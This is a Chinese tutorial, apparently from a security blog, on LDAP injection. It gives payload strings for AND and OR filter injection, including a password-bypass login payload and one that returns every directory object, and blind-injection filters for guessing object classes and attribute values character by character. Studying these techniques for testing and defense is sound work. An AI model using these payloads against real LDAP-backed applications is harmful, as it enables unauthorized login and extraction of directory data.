LDAP-轻量级目录访问协议 bb43a4cf985646608e33fdb1d3b5046b

LDAP-轻量级目录访问协议

LDAP注入与防御解析 - r00tgrok - 博客园

一种在线目录访问协议

常见的是微软的ADAM与OPENLADAP

漏洞原理

利用LDAP的过滤器

测试一个应用是否存在代码注入漏洞典型的方法是向服务器发送会生成一个无效输入的请求。因此，如果服务器返回一个错误消息，攻击者就能知道服务器执行了他的查询，

如果后台的过滤逻辑是这样的

```
(attri=value) value用户可控，
```

则可以构造这样的payload

```
value(infected_filter这样会产生两个过滤器在openldap中第第二个过滤器会被忽略在adam中不允许出现两个过滤器
```

有回显的注入

AND LDAP注入

如果后台的过滤器是这样的

```
(&(attr1=value1)(attr2=value2))
```

那么可以构造这样的过滤器

```
value1)(&))(&(attr=value#这样就可以绕过密码直接登录
```

如果语句中不允许出现第二个过滤器，则可以这样构造

```
value1)(your_fileter
```

OR LDAP注入

如果后台过滤器是这样的

```
(|(attr1=value1)(attr2=value2))
```

则可以这样构造

```
value)(uid=*)//这样可以获取所有的对象
```

盲注

LDAP AND 盲注

假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机，错误信息不会返回，应用发送如下的过滤器：

(&(objectClass=printer)(type=Epson*))

使用这个查询，如果有可用的Epson打印机，其图标就会显示给客户端，否则没有图标出现。如果攻击者进行LDAP盲注入攻击”*)(objectClass=*))(&(objectClass=void”，Web应用会构造如下查询：

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))

仅第一个LDAP过滤器会被处理：

(&(objectClass=*)(objectClass=*))

结果是，打印机的图标一定会显示到客户端，因为这个查询总是会获得结果：过滤器objectClass=*总是返回一个对象。当图标被显示时响应为真，否则为假。

从这一点来看，使用盲注技术比较容易，例如构造如下的注入：

(&(objectClass=*)(objectClass=users))(&(objectClass=foo)(type=Epson*))

(&(objectClass=*)(objectClass=resources))(&(objectClass=foo)(type=Epson*))

这种代码注入的设置允许攻击者推测可能存在于LDAP目录服务中不同对象类的值。当响应Web页面至少包含一个打印机图标时，对象类的值就是存在的，另一方面而言，如果对象类的值不存在或没有对它的访问，就不会有图标出现。

LDAP盲注技术让攻击者使用TRUE/FALSE问题访问所有的信息。

LDAP OR盲注

这种情况下，用于推测想要的信息的逻辑是相反的，因为使用的是OR逻辑操作符。接下来使用的是同一个例子，OR环境的注入为：

(|(objectClass=void)(objectClass=void))(&(objectClass=void)(type=Epson*))

这个LDAP查询没有从LDAP目录服务获得任何对象，打印机的图标也不会显示给客户端(FALSE)。如果在响应的Web页面中有任何图标，则响应为TRUE。故攻击者可以注入下列LDAP过滤器来收集信息：

(|(objectClass=void)(objectClass=users))(&(objectClass=void)(type=Epson*))

(|(objectClass=void)(objectClass=resources))(&(objectClass=void)(type=Epson*))

Booleanization

构造这样的语句去猜测后台属性的指

```
(&(idprinter=HPLaserJet2100)(department=a*))(object=printer))(&(idprinter=HPLaserJet2100)(department=f*))(object=printer))(&(idprinter=HPLaserJet2100)(department=fa*))(object=printer))
```

字符削减

首先判断属性值中有哪写字符，从而缩小booleanization范围

```
(&(idprinter=HPLaserJet2100)(department=*b*))(object=printer))(&(idprinter=HPLaserJet2100)(department=*n*))(object=printer))
```